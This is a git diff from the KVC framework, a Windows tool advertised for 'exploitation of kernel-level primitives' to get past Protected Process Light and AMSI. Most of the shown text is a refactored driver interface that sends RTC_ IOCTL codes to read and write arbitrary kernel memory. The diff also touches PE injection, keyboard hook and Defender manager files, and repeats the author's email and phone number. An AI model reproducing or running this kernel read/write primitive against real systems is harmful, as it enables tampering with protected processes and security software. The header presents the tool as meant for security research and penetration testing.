||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// InjectionEngine.cpp - Low-level PE injection and execution
|
// InjectionEngine.cpp - Low-level PE injection and execution
|
||||||
#include "InjectionEngine.h"
|
#include "InjectionEngine.h"
|
||||||
#include "syscalls.h"
|
#include "syscalls.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
#include "KeyboardHook.h"
|
#include "KeyboardHook.h"
|
||||||
#include "TrustedInstallerIntegrator.h"
|
#include "TrustedInstallerIntegrator.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
|
|||||||
1701
kvc/Kvc.cpp
1701
kvc/Kvc.cpp
File diff suppressed because it is too large
Load Diff
@@ -139,15 +139,17 @@
|
|||||||
<ClInclude Include="OffsetFinder.h" />
|
<ClInclude Include="OffsetFinder.h" />
|
||||||
<ClInclude Include="kvcDrv.h" />
|
<ClInclude Include="kvcDrv.h" />
|
||||||
<ClInclude Include="Utils.h" />
|
<ClInclude Include="Utils.h" />
|
||||||
<ClCompile Include="HiveManager.h" />
|
<ClInclude Include="HiveManager.h" />
|
||||||
<ClInclude Include="ReportExporter.h" />
|
<ClInclude Include="ReportExporter.h" />
|
||||||
<ClCompile Include="SessionManager.h" />
|
<ClInclude Include="SessionManager.h" />
|
||||||
<ClInclude Include="ServiceManager.h" />
|
<ClInclude Include="ServiceManager.h" />
|
||||||
<ClInclude Include="KeyboardHook.h" />
|
<ClInclude Include="KeyboardHook.h" />
|
||||||
<ClInclude Include="HelpSystem.h" />
|
<ClInclude Include="HelpSystem.h" />
|
||||||
|
<ClInclude Include="DefenderManager.h" />
|
||||||
|
<ClInclude Include="ProcessManager.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<MASM Include="RuntimeStr.asm" />
|
<MASM Include="MmPoolTelemetry.asm" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<!-- Resource Files -->
|
<!-- Resource Files -->
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
|||||||
397
kvc/KvcDrv.cpp
397
kvc/KvcDrv.cpp
@@ -1,169 +1,424 @@
|
|||||||
/*******************************************************************************
|
/**
|
||||||
_ ____ ______
|
* @file kvcDrv.cpp
|
||||||
| |/ /\ \ / / ___|
|
* @brief KVC kernel driver communication implementation
|
||||||
| ' / \ \ / / |
|
* @author Marek Wesolowski
|
||||||
| . \ \ V /| |___
|
* @date 2025
|
||||||
|_|\_\ \_/ \____|
|
* @copyright KVC Framework
|
||||||
|
*
|
||||||
|
* Implements low-level IOCTL communication with the KVC kernel driver
|
||||||
|
* for safe memory read/write operations in kernel space.
|
||||||
|
*/
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// KvcDrv.cpp
|
|
||||||
#include "kvcDrv.h"
|
#include "kvcDrv.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
#include <format>
|
|
||||||
|
|
||||||
// IOCTL command codes for KVC driver communication
|
// ============================================================================
|
||||||
|
// IOCTL COMMAND CODES (DRIVER-SPECIFIC)
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/** @brief IOCTL code for kernel memory read operations */
|
||||||
constexpr DWORD RTC_IOCTL_MEMORY_READ = 0x80002048;
|
constexpr DWORD RTC_IOCTL_MEMORY_READ = 0x80002048;
|
||||||
|
|
||||||
|
/** @brief IOCTL code for kernel memory write operations */
|
||||||
constexpr DWORD RTC_IOCTL_MEMORY_WRITE = 0x8000204c;
|
constexpr DWORD RTC_IOCTL_MEMORY_WRITE = 0x8000204c;
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// CONSTRUCTION AND DESTRUCTION
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Default constructor - initializes empty driver object
|
||||||
|
*/
|
||||||
kvc::kvc() = default;
|
kvc::kvc() = default;
|
||||||
|
|
||||||
kvc::~kvc() {
|
/**
|
||||||
|
* @brief Destructor - ensures proper resource cleanup
|
||||||
|
*/
|
||||||
|
kvc::~kvc()
|
||||||
|
{
|
||||||
Cleanup();
|
Cleanup();
|
||||||
}
|
}
|
||||||
|
|
||||||
// Force cleanup for atomic driver operations - critical for stability
|
// ============================================================================
|
||||||
void kvc::Cleanup() noexcept {
|
// DRIVER CONNECTION MANAGEMENT
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Cleans up driver resources with proper flushing
|
||||||
|
*
|
||||||
|
* Performs orderly shutdown:
|
||||||
|
* 1. Flushes file buffers to ensure all pending operations complete
|
||||||
|
* 2. Resets smart handle (automatically calls CloseHandle)
|
||||||
|
* 3. Clears device name
|
||||||
|
*
|
||||||
|
* @note Safe to call multiple times - idempotent operation
|
||||||
|
* @note Critical for system stability - prevents hanging IOCTL operations
|
||||||
|
*/
|
||||||
|
void kvc::Cleanup() noexcept
|
||||||
|
{
|
||||||
DEBUG(L"kvc::Cleanup() called");
|
DEBUG(L"kvc::Cleanup() called");
|
||||||
|
|
||||||
if (m_deviceHandle) {
|
if (m_deviceHandle) {
|
||||||
DEBUG(L"Closing device handle...");
|
DEBUG(L"Closing device handle...");
|
||||||
// Force the handle to close
|
|
||||||
|
// Flush buffers before closing to prevent data loss
|
||||||
FlushFileBuffers(m_deviceHandle.get());
|
FlushFileBuffers(m_deviceHandle.get());
|
||||||
m_deviceHandle.reset(); // This should close the handle
|
|
||||||
|
// Reset smart handle - automatically closes via HandleDeleter
|
||||||
|
m_deviceHandle.reset();
|
||||||
}
|
}
|
||||||
|
|
||||||
m_deviceName.clear();
|
m_deviceName.clear();
|
||||||
DEBUG(L"kvc cleanup completed");
|
DEBUG(L"kvc cleanup completed");
|
||||||
}
|
}
|
||||||
|
|
||||||
bool kvc::IsConnected() const noexcept {
|
/**
|
||||||
|
* @brief Checks if driver connection is active
|
||||||
|
*
|
||||||
|
* @return bool true if device handle is valid and not INVALID_HANDLE_VALUE
|
||||||
|
*/
|
||||||
|
bool kvc::IsConnected() const noexcept
|
||||||
|
{
|
||||||
return m_deviceHandle && m_deviceHandle.get() != INVALID_HANDLE_VALUE;
|
return m_deviceHandle && m_deviceHandle.get() != INVALID_HANDLE_VALUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Driver connection establishment with device path
|
/**
|
||||||
bool kvc::Initialize() noexcept {
|
* @brief Establishes connection to KVC kernel driver
|
||||||
|
*
|
||||||
|
* Connection sequence:
|
||||||
|
* 1. Checks if already connected (idempotent)
|
||||||
|
* 2. Constructs device name from service name
|
||||||
|
* 3. Initializes dynamic APIs for CreateFileW
|
||||||
|
* 4. Opens device handle with read/write access
|
||||||
|
* 5. Wraps raw handle in smart pointer for RAII
|
||||||
|
*
|
||||||
|
* @return bool true if driver device opened successfully
|
||||||
|
*
|
||||||
|
* @note Does NOT perform test operations - just opens device
|
||||||
|
* @note Silently fails if driver not loaded (expected behavior)
|
||||||
|
* @note Requires dynamic API initialization for CreateFileW
|
||||||
|
*/
|
||||||
|
bool kvc::Initialize() noexcept
|
||||||
|
{
|
||||||
|
// Idempotent check - return early if already connected
|
||||||
if (IsConnected()) {
|
if (IsConnected()) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Construct device name if not set
|
||||||
if (m_deviceName.empty()) {
|
if (m_deviceName.empty()) {
|
||||||
m_deviceName = L"\\\\.\\" + GetServiceName();
|
m_deviceName = L"\\\\.\\" + GetServiceName();
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!InitDynamicAPIs()) return false;
|
// Initialize dynamic APIs (required for CreateFileW pointer)
|
||||||
|
if (!InitDynamicAPIs()) {
|
||||||
|
DEBUG(L"Failed to initialize dynamic APIs");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
// SIMPLE DEVICE OPEN - without test operations
|
// Open driver device with read/write access
|
||||||
HANDLE rawHandle = g_pCreateFileW(m_deviceName.c_str(),
|
HANDLE rawHandle = g_pCreateFileW(
|
||||||
GENERIC_READ | GENERIC_WRITE,
|
m_deviceName.c_str(),
|
||||||
0, nullptr, OPEN_EXISTING, 0, nullptr);
|
GENERIC_READ | GENERIC_WRITE,
|
||||||
|
0, // No sharing
|
||||||
|
nullptr, // Default security
|
||||||
|
OPEN_EXISTING, // Device must exist
|
||||||
|
0, // No special flags
|
||||||
|
nullptr // No template
|
||||||
|
);
|
||||||
|
|
||||||
|
// Silent failure if driver not loaded - this is expected behavior
|
||||||
if (rawHandle == INVALID_HANDLE_VALUE) {
|
if (rawHandle == INVALID_HANDLE_VALUE) {
|
||||||
return false; // Silently fail - this is normal when the driver is not running
|
DEBUG(L"Failed to open driver device: %s (error: %d)",
|
||||||
|
m_deviceName.c_str(), GetLastError());
|
||||||
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Wrap raw handle in smart pointer for automatic cleanup
|
||||||
m_deviceHandle = UniqueHandle(rawHandle);
|
m_deviceHandle = UniqueHandle(rawHandle);
|
||||||
|
|
||||||
|
DEBUG(L"Successfully opened driver device: %s", m_deviceName.c_str());
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Memory read operations with type safety
|
// ============================================================================
|
||||||
std::optional<BYTE> kvc::Read8(ULONG_PTR address) noexcept {
|
// MEMORY READ OPERATIONS (TYPE-SAFE WRAPPERS)
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Reads 8-bit value from kernel memory
|
||||||
|
*
|
||||||
|
* @param address Target kernel address
|
||||||
|
* @return std::optional<BYTE> Read value or nullopt on failure
|
||||||
|
*
|
||||||
|
* @note Extracts lowest byte from 32-bit read result
|
||||||
|
*/
|
||||||
|
std::optional<BYTE> kvc::Read8(ULONG_PTR address) noexcept
|
||||||
|
{
|
||||||
auto value = Read32(address);
|
auto value = Read32(address);
|
||||||
if (!value.has_value()) return std::nullopt;
|
if (!value.has_value()) {
|
||||||
return static_cast<BYTE>(value.value() & 0xff);
|
return std::nullopt;
|
||||||
|
}
|
||||||
|
return static_cast<BYTE>(value.value() & 0xFF);
|
||||||
}
|
}
|
||||||
|
|
||||||
std::optional<WORD> kvc::Read16(ULONG_PTR address) noexcept {
|
/**
|
||||||
|
* @brief Reads 16-bit value from kernel memory
|
||||||
|
*
|
||||||
|
* @param address Target kernel address
|
||||||
|
* @return std::optional<WORD> Read value or nullopt on failure
|
||||||
|
*
|
||||||
|
* @note Extracts lowest 2 bytes from 32-bit read result
|
||||||
|
*/
|
||||||
|
std::optional<WORD> kvc::Read16(ULONG_PTR address) noexcept
|
||||||
|
{
|
||||||
auto value = Read32(address);
|
auto value = Read32(address);
|
||||||
if (!value.has_value()) return std::nullopt;
|
if (!value.has_value()) {
|
||||||
return static_cast<WORD>(value.value() & 0xffff);
|
return std::nullopt;
|
||||||
|
}
|
||||||
|
return static_cast<WORD>(value.value() & 0xFFFF);
|
||||||
}
|
}
|
||||||
|
|
||||||
std::optional<DWORD> kvc::Read32(ULONG_PTR address) noexcept {
|
/**
|
||||||
|
* @brief Reads 32-bit value from kernel memory
|
||||||
|
*
|
||||||
|
* @param address Target kernel address
|
||||||
|
* @return std::optional<DWORD> Read value or nullopt on failure
|
||||||
|
*
|
||||||
|
* @note Direct call to low-level Read() function
|
||||||
|
*/
|
||||||
|
std::optional<DWORD> kvc::Read32(ULONG_PTR address) noexcept
|
||||||
|
{
|
||||||
return Read(address, sizeof(DWORD));
|
return Read(address, sizeof(DWORD));
|
||||||
}
|
}
|
||||||
|
|
||||||
std::optional<DWORD64> kvc::Read64(ULONG_PTR address) noexcept {
|
/**
|
||||||
|
* @brief Reads 64-bit value from kernel memory
|
||||||
|
*
|
||||||
|
* @param address Target kernel address
|
||||||
|
* @return std::optional<DWORD64> Read value or nullopt on failure
|
||||||
|
*
|
||||||
|
* @note Performs two 32-bit reads and combines them:
|
||||||
|
* - Low DWORD at address
|
||||||
|
* - High DWORD at address + 4
|
||||||
|
* @note Both reads must succeed for operation to succeed
|
||||||
|
*/
|
||||||
|
std::optional<DWORD64> kvc::Read64(ULONG_PTR address) noexcept
|
||||||
|
{
|
||||||
auto low = Read32(address);
|
auto low = Read32(address);
|
||||||
auto high = Read32(address + 4);
|
auto high = Read32(address + 4);
|
||||||
|
|
||||||
if (!low || !high) return std::nullopt;
|
if (!low || !high) {
|
||||||
|
return std::nullopt;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Combine low and high DWORDs into QWORD
|
||||||
return (static_cast<DWORD64>(high.value()) << 32) | low.value();
|
return (static_cast<DWORD64>(high.value()) << 32) | low.value();
|
||||||
}
|
}
|
||||||
|
|
||||||
std::optional<ULONG_PTR> kvc::ReadPtr(ULONG_PTR address) noexcept {
|
/**
|
||||||
|
* @brief Reads pointer-sized value from kernel memory
|
||||||
|
*
|
||||||
|
* @param address Target kernel address
|
||||||
|
* @return std::optional<ULONG_PTR> Read value or nullopt on failure
|
||||||
|
*
|
||||||
|
* @note Platform-dependent:
|
||||||
|
* - x64: Uses Read64
|
||||||
|
* - x86: Uses Read32
|
||||||
|
*/
|
||||||
|
std::optional<ULONG_PTR> kvc::ReadPtr(ULONG_PTR address) noexcept
|
||||||
|
{
|
||||||
#ifdef _WIN64
|
#ifdef _WIN64
|
||||||
auto value = Read64(address);
|
auto value = Read64(address);
|
||||||
if (!value.has_value()) return std::nullopt;
|
if (!value.has_value()) {
|
||||||
|
return std::nullopt;
|
||||||
|
}
|
||||||
return static_cast<ULONG_PTR>(value.value());
|
return static_cast<ULONG_PTR>(value.value());
|
||||||
#else
|
#else
|
||||||
auto value = Read32(address);
|
auto value = Read32(address);
|
||||||
if (!value.has_value()) return std::nullopt;
|
if (!value.has_value()) {
|
||||||
|
return std::nullopt;
|
||||||
|
}
|
||||||
return static_cast<ULONG_PTR>(value.value());
|
return static_cast<ULONG_PTR>(value.value());
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
// Memory write operations with type safety
|
// ============================================================================
|
||||||
bool kvc::Write8(ULONG_PTR address, BYTE value) noexcept {
|
// MEMORY WRITE OPERATIONS (TYPE-SAFE WRAPPERS)
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Writes 8-bit value to kernel memory
|
||||||
|
*
|
||||||
|
* @param address Target kernel address
|
||||||
|
* @param value Value to write
|
||||||
|
* @return bool true if write successful
|
||||||
|
*
|
||||||
|
* @warning Kernel memory writes can cause system instability
|
||||||
|
*/
|
||||||
|
bool kvc::Write8(ULONG_PTR address, BYTE value) noexcept
|
||||||
|
{
|
||||||
return Write(address, sizeof(value), value);
|
return Write(address, sizeof(value), value);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool kvc::Write16(ULONG_PTR address, WORD value) noexcept {
|
/**
|
||||||
|
* @brief Writes 16-bit value to kernel memory
|
||||||
|
*
|
||||||
|
* @param address Target kernel address
|
||||||
|
* @param value Value to write
|
||||||
|
* @return bool true if write successful
|
||||||
|
*
|
||||||
|
* @warning Kernel memory writes can cause system instability
|
||||||
|
*/
|
||||||
|
bool kvc::Write16(ULONG_PTR address, WORD value) noexcept
|
||||||
|
{
|
||||||
return Write(address, sizeof(value), value);
|
return Write(address, sizeof(value), value);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool kvc::Write32(ULONG_PTR address, DWORD value) noexcept {
|
/**
|
||||||
|
* @brief Writes 32-bit value to kernel memory
|
||||||
|
*
|
||||||
|
* @param address Target kernel address
|
||||||
|
* @param value Value to write
|
||||||
|
* @return bool true if write successful
|
||||||
|
*
|
||||||
|
* @warning Kernel memory writes can cause system instability
|
||||||
|
*/
|
||||||
|
bool kvc::Write32(ULONG_PTR address, DWORD value) noexcept
|
||||||
|
{
|
||||||
return Write(address, sizeof(value), value);
|
return Write(address, sizeof(value), value);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool kvc::Write64(ULONG_PTR address, DWORD64 value) noexcept {
|
/**
|
||||||
DWORD low = static_cast<DWORD>(value & 0xffffffff);
|
* @brief Writes 64-bit value to kernel memory
|
||||||
DWORD high = static_cast<DWORD>((value >> 32) & 0xffffffff);
|
*
|
||||||
|
* @param address Target kernel address
|
||||||
|
* @param value Value to write
|
||||||
|
* @return bool true if write successful
|
||||||
|
*
|
||||||
|
* @note Performs two 32-bit writes:
|
||||||
|
* - Low DWORD at address
|
||||||
|
* - High DWORD at address + 4
|
||||||
|
* @note Both writes must succeed for operation to succeed
|
||||||
|
*
|
||||||
|
* @warning Kernel memory writes can cause system instability
|
||||||
|
* @warning Non-atomic operation - system may observe partial write
|
||||||
|
*/
|
||||||
|
bool kvc::Write64(ULONG_PTR address, DWORD64 value) noexcept
|
||||||
|
{
|
||||||
|
DWORD low = static_cast<DWORD>(value & 0xFFFFFFFF);
|
||||||
|
DWORD high = static_cast<DWORD>((value >> 32) & 0xFFFFFFFF);
|
||||||
|
|
||||||
|
// Both writes must succeed
|
||||||
return Write32(address, low) && Write32(address + 4, high);
|
return Write32(address, low) && Write32(address + 4, high);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Low-level driver communication via IOCTL
|
// ============================================================================
|
||||||
std::optional<DWORD> kvc::Read(ULONG_PTR address, DWORD valueSize) noexcept {
|
// LOW-LEVEL IOCTL COMMUNICATION
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Low-level kernel memory read via IOCTL
|
||||||
|
*
|
||||||
|
* Communication sequence:
|
||||||
|
* 1. Ensures driver connection is initialized
|
||||||
|
* 2. Constructs RTC_MEMORY_READ request structure
|
||||||
|
* 3. Sends IOCTL_MEMORY_READ command to driver
|
||||||
|
* 4. Extracts returned value from response
|
||||||
|
*
|
||||||
|
* @param address Kernel address to read from
|
||||||
|
* @param valueSize Size of value to read (1/2/4 bytes)
|
||||||
|
* @return std::optional<DWORD> Read value or nullopt on failure
|
||||||
|
*
|
||||||
|
* @note Uses aligned structure for IOCTL communication
|
||||||
|
* @note Driver returns value in response structure
|
||||||
|
*/
|
||||||
|
std::optional<DWORD> kvc::Read(ULONG_PTR address, DWORD valueSize) noexcept
|
||||||
|
{
|
||||||
|
// Construct read request with proper alignment
|
||||||
RTC_MEMORY_READ memoryRead{};
|
RTC_MEMORY_READ memoryRead{};
|
||||||
memoryRead.Address = address;
|
memoryRead.Address = address;
|
||||||
memoryRead.Size = valueSize;
|
memoryRead.Size = valueSize;
|
||||||
|
|
||||||
if (!Initialize()) return std::nullopt;
|
// Ensure driver connection
|
||||||
|
if (!Initialize()) {
|
||||||
|
DEBUG(L"Driver not initialized for read operation");
|
||||||
|
return std::nullopt;
|
||||||
|
}
|
||||||
|
|
||||||
DWORD bytesReturned = 0;
|
DWORD bytesReturned = 0;
|
||||||
if (!DeviceIoControl(m_deviceHandle.get(), RTC_IOCTL_MEMORY_READ,
|
|
||||||
&memoryRead, sizeof(memoryRead), &memoryRead, sizeof(memoryRead), &bytesReturned, nullptr))
|
// Send IOCTL to driver
|
||||||
|
BOOL result = DeviceIoControl(
|
||||||
|
m_deviceHandle.get(), // Device handle
|
||||||
|
RTC_IOCTL_MEMORY_READ, // IOCTL code
|
||||||
|
&memoryRead, // Input buffer
|
||||||
|
sizeof(memoryRead), // Input size
|
||||||
|
&memoryRead, // Output buffer (in-place)
|
||||||
|
sizeof(memoryRead), // Output size
|
||||||
|
&bytesReturned, // Bytes returned
|
||||||
|
nullptr // No overlapped I/O
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!result) {
|
||||||
|
DEBUG(L"DeviceIoControl failed for read at 0x%llx: %d",
|
||||||
|
address, GetLastError());
|
||||||
return std::nullopt;
|
return std::nullopt;
|
||||||
|
}
|
||||||
|
|
||||||
return memoryRead.Value;
|
return memoryRead.Value;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool kvc::Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept {
|
/**
|
||||||
|
* @brief Low-level kernel memory write via IOCTL
|
||||||
|
*
|
||||||
|
* Communication sequence:
|
||||||
|
* 1. Ensures driver connection is initialized
|
||||||
|
* 2. Constructs RTC_MEMORY_WRITE request structure
|
||||||
|
* 3. Sends IOCTL_MEMORY_WRITE command to driver
|
||||||
|
* 4. Checks for successful completion
|
||||||
|
*
|
||||||
|
* @param address Kernel address to write to
|
||||||
|
* @param valueSize Size of value to write (1/2/4 bytes)
|
||||||
|
* @param value Value to write
|
||||||
|
* @return bool true if write successful
|
||||||
|
*
|
||||||
|
* @note Uses aligned structure for IOCTL communication
|
||||||
|
* @warning Kernel writes can cause BSOD if address is invalid
|
||||||
|
*/
|
||||||
|
bool kvc::Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept
|
||||||
|
{
|
||||||
|
// Construct write request with proper alignment
|
||||||
RTC_MEMORY_WRITE memoryWrite{};
|
RTC_MEMORY_WRITE memoryWrite{};
|
||||||
memoryWrite.Address = address;
|
memoryWrite.Address = address;
|
||||||
memoryWrite.Size = valueSize;
|
memoryWrite.Size = valueSize;
|
||||||
memoryWrite.Value = value;
|
memoryWrite.Value = value;
|
||||||
|
|
||||||
if (!Initialize()) return false;
|
// Ensure driver connection
|
||||||
|
if (!Initialize()) {
|
||||||
|
DEBUG(L"Driver not initialized for write operation");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
DWORD bytesReturned = 0;
|
DWORD bytesReturned = 0;
|
||||||
return DeviceIoControl(m_deviceHandle.get(), RTC_IOCTL_MEMORY_WRITE,
|
|
||||||
&memoryWrite, sizeof(memoryWrite), &memoryWrite, sizeof(memoryWrite), &bytesReturned, nullptr);
|
// Send IOCTL to driver
|
||||||
}
|
BOOL result = DeviceIoControl(
|
||||||
|
m_deviceHandle.get(), // Device handle
|
||||||
|
RTC_IOCTL_MEMORY_WRITE, // IOCTL code
|
||||||
|
&memoryWrite, // Input buffer
|
||||||
|
sizeof(memoryWrite), // Input size
|
||||||
|
&memoryWrite, // Output buffer (unused for write)
|
||||||
|
sizeof(memoryWrite), // Output size
|
||||||
|
&bytesReturned, // Bytes returned
|
||||||
|
nullptr // No overlapped I/O
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!result) {
|
||||||
|
DEBUG(L"DeviceIoControl failed for write at 0x%llx: %d",
|
||||||
|
address, GetLastError());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
216
kvc/KvcDrv.h
216
kvc/KvcDrv.h
@@ -1,77 +1,249 @@
|
|||||||
|
/**
|
||||||
|
* @file kvcDrv.h
|
||||||
|
* @brief KVC kernel driver communication interface
|
||||||
|
* @author Marek Wesolowski
|
||||||
|
* @date 2025
|
||||||
|
* @copyright KVC Framework
|
||||||
|
*
|
||||||
|
* Provides low-level IOCTL-based communication with the KVC kernel driver
|
||||||
|
* for memory read/write operations in kernel address space.
|
||||||
|
*/
|
||||||
|
|
||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
#include <memory>
|
#include <memory>
|
||||||
#include <optional>
|
#include <optional>
|
||||||
|
|
||||||
// KVC driver communication structures with proper alignment
|
// ============================================================================
|
||||||
|
// DRIVER COMMUNICATION STRUCTURES (ALIGNED FOR IOCTL)
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Memory read request structure with proper alignment
|
||||||
|
*
|
||||||
|
* Layout optimized for driver IOCTL communication with explicit padding
|
||||||
|
* to ensure consistent structure size across user/kernel boundary.
|
||||||
|
*/
|
||||||
struct alignas(8) RTC_MEMORY_READ
|
struct alignas(8) RTC_MEMORY_READ
|
||||||
{
|
{
|
||||||
BYTE Pad0[8]; // Alignment padding
|
BYTE Pad0[8]; ///< Alignment padding
|
||||||
DWORD64 Address; // Target memory address
|
DWORD64 Address; ///< Target kernel memory address
|
||||||
BYTE Pad1[8]; // Additional padding
|
BYTE Pad1[8]; ///< Additional padding
|
||||||
DWORD Size; // Bytes to read
|
DWORD Size; ///< Number of bytes to read (1/2/4/8)
|
||||||
DWORD Value; // Returned value
|
DWORD Value; ///< Returned value from kernel
|
||||||
BYTE Pad3[16]; // Final padding
|
BYTE Pad3[16]; ///< Final padding for alignment
|
||||||
};
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Memory write request structure with proper alignment
|
||||||
|
*
|
||||||
|
* Layout optimized for driver IOCTL communication with explicit padding
|
||||||
|
* to ensure consistent structure size across user/kernel boundary.
|
||||||
|
*/
|
||||||
struct alignas(8) RTC_MEMORY_WRITE
|
struct alignas(8) RTC_MEMORY_WRITE
|
||||||
{
|
{
|
||||||
BYTE Pad0[8]; // Alignment padding
|
BYTE Pad0[8]; ///< Alignment padding
|
||||||
DWORD64 Address; // Target memory address
|
DWORD64 Address; ///< Target kernel memory address
|
||||||
BYTE Pad1[8]; // Additional padding
|
BYTE Pad1[8]; ///< Additional padding
|
||||||
DWORD Size; // Bytes to write
|
DWORD Size; ///< Number of bytes to write (1/2/4/8)
|
||||||
DWORD Value; // Value to write
|
DWORD Value; ///< Value to write to kernel
|
||||||
BYTE Pad3[16]; // Final padding
|
BYTE Pad3[16]; ///< Final padding for alignment
|
||||||
};
|
};
|
||||||
|
|
||||||
// Kernel memory operations interface via KVC driver
|
// ============================================================================
|
||||||
|
// KVC DRIVER COMMUNICATION CLASS
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @class kvc
|
||||||
|
* @brief Kernel memory operations interface via KVC driver
|
||||||
|
*
|
||||||
|
* Provides type-safe memory read/write operations in kernel address space
|
||||||
|
* through IOCTL-based communication with the KVC kernel driver.
|
||||||
|
*
|
||||||
|
* Features:
|
||||||
|
* - Automatic resource management with RAII
|
||||||
|
* - Type-safe read/write operations (8/16/32/64-bit)
|
||||||
|
* - Connection state management
|
||||||
|
* - Smart handle management with automatic cleanup
|
||||||
|
*/
|
||||||
class kvc
|
class kvc
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
|
/**
|
||||||
|
* @brief Default constructor
|
||||||
|
*/
|
||||||
kvc();
|
kvc();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Destructor with automatic cleanup
|
||||||
|
*/
|
||||||
~kvc();
|
~kvc();
|
||||||
|
|
||||||
|
// Disable copy semantics to prevent handle duplication
|
||||||
kvc(const kvc&) = delete;
|
kvc(const kvc&) = delete;
|
||||||
kvc& operator=(const kvc&) = delete;
|
kvc& operator=(const kvc&) = delete;
|
||||||
|
|
||||||
|
// Enable move semantics for efficient resource transfer
|
||||||
kvc(kvc&&) noexcept = default;
|
kvc(kvc&&) noexcept = default;
|
||||||
kvc& operator=(kvc&&) noexcept = default;
|
kvc& operator=(kvc&&) noexcept = default;
|
||||||
|
|
||||||
// Driver connection management
|
